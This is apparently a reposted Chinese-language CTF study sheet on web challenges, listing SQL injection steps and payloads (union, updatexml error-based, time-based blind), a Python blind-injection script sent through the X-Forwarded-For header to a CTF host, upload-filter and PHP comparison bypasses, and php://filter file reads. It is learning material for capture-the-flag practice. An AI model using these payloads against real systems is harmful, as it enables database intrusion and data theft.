CTF 常見操作總結


一般流程

  1. 首先看header, veiwsource, 目錄掃描
  2. 有登陸, 嘗試sql注入&爆破
  3. 有數據庫, 必然sql注入?

普通sql注入

  1. 判斷是否存在回顯異常
    嘗試單雙引號

  2. 查是字符型?數值型?
    若1'#成功查詢, 則是字符型
    若失敗則是數值型

  3. 確定字段數
    1' order by 3# , 意思是按第三參數排序, 若報錯則沒有第三字段

  4. 確定返回值類型(需要么?參見bugku學生管理)
    0' union select 1, 2, 3, 4 #不可
    0' union select '1', '2', '3', '4' #可

  5. 確定offset
    1' union select '1', '2', '3', '4' # 僅有id=1的數據
    0' union select '1', '2', '3', '4' # 僅有1234數據

  6. database()

  7. information_schema.tables (使用group_concat)

  8. information_schema.columns (使用group_concat)

  9. 查字段

帶字符串過濾的sql注入

  1. 異或測試過濾
    1'^(length('and')0)
    1'^(length('asdasd')
    0)
    測試結果若與下面的不同, 則存在and的過濾

  2. 雙寫繞過, 大小寫繞過

  3. 空格過濾
    /x/充當空格

  4. 若上面的繞過union失效, 嘗試updatexml(但需要異常回顯)
    1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

sql約束攻擊

類似與在提供了注冊功能的同時, 需要登陸admin帳號的情況下使用
注冊時:
username=admin a&&passwd=passwd
因為sql由於字符串長度限制, 所以查詢時截斷username, 誤認為admin, 登陸
但實測user(name varchar(20))下insert數據, 長度過長會報錯, 所以這種攻擊是否有效就另說了?

insert into類型sql注入

  1. 基於時間的sql注入
    '+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset 0) from 0 for 1)='a' then sleep(30) else 0 end)) #
import requests as req
from lxml import etree
import base64
from tqdm import tqdm

url='http://123.206.87.240:8002/web15/'
# payload="'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset %d) from %d for 1)='%s' then sleep(30) else 0 end)) #"
payload="'+"+"(select case when substr((select * from flag from %d for 1)='%s' then sleep(30) else 0 end)) #"
dic="1234567890qwertyuiopasdfghjklzxcvbnm"

dbname="w111111111111111111"
tablename=[]

for ti in range(1):
    tmp=''
    for i in range(1, 21):
        check=False
        for ch in dic:
            try:
                print(payload%(i, ch))
                resp=req.get(url, headers={'X-Forwarded-For': payload%(i, ch)}, timeout=3)
            except:
                tmp+=ch
                print(tmp)
                check=True
                break

        if check==False: break
    tablename.append(tmp)
    print(tablename)

  1. 基於regex的sql注入
    詳見:https://blog.csdn.net/hwz2311245/article/details/53941523

  2. 基於異常的sql注入
    鏈接同上

文件上傳

此處用burpsuite操作

  1. 請求頭的Content-Type大小寫繞過
  2. 請求數據的Content-Type改為image/png等
  3. 文件后綴黑名單php, php4, php5, phps, phtml, phtm繞過
  4. 屏蔽<?php: 用<?= 或

繞過

  1. x==0
    字符串繞過

  2. x==null
    %20繞過

  3. is_numeric(x)false && x1
    1%00123 字符截斷
    1%20123 空格字符

(%00123 繞過is_numeric()false, x1不能)
(%20123 不能繞過is_numeric()==false)

  1. is_numeric(x)==true && sql注入
    二次注入, x專成16進制即可
select hex('test');
-> 0x74657374 
  1. md5(x) == md5(y) && x!=y
    數組繞過x[]=x&y[]=y
    sha1同理

  2. md5(x) === md5(y)

  3. strcmp($x, $flag)==0
    Php5.3之后版本使用strcmp比較一個字符串和數組的話,將不再返回-1而是返回0

  4. true == "0"
    字符串繞過

php技巧

  1. GLOBALS變量

  2. 文件包含 php://filter/read=convert.base64-encode/resource=flag.php

  3. php://input
    可將數據放入rawbody

  4. 傳數組burpsuite下
    numbers[]="0,0,0"
    numbers=[0,0,0]

HTTP

  1. X-Forwarded-For設置ip
    事實上反代服務器也會寫上XFF之類的header
    X-Forwarded-For:Squid 服務代理
    Proxy-Client-IP:apache 服務代理
    WL-Proxy-Client-IP:weblogic 服務代理
    HTTP_CLIENT_IP:有些代理服務器
    X-Real-IP:nginx服務代理

編碼

  1. HTML編碼
&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;
KEY{J2sa42ahJK-HS11III}
  1. Base64

  2. urlencode

// js
escape('!#') // "%21%23"
unescape('%21%23"') // !#

其他

  1. 如何做到POST的同時給出GET參數?
    postman: POST同時url上寫GET參數, from-data寫POST數據
    hackbar: enable post data即可

  2. JSFuck

問題

  1. http://123.206.87.240:8006/test/hello.php?id=1
";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>

http://123.206.87.240:8006/test/hello.php?id=0&b=%004123123&a=php://input

為何id=0不能通過?

  1. sql注入, 做到這里卡題了
    http://123.206.87.240:9001/sql/
    http://123.206.87.240:9001/sql/do_Everythin.php#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM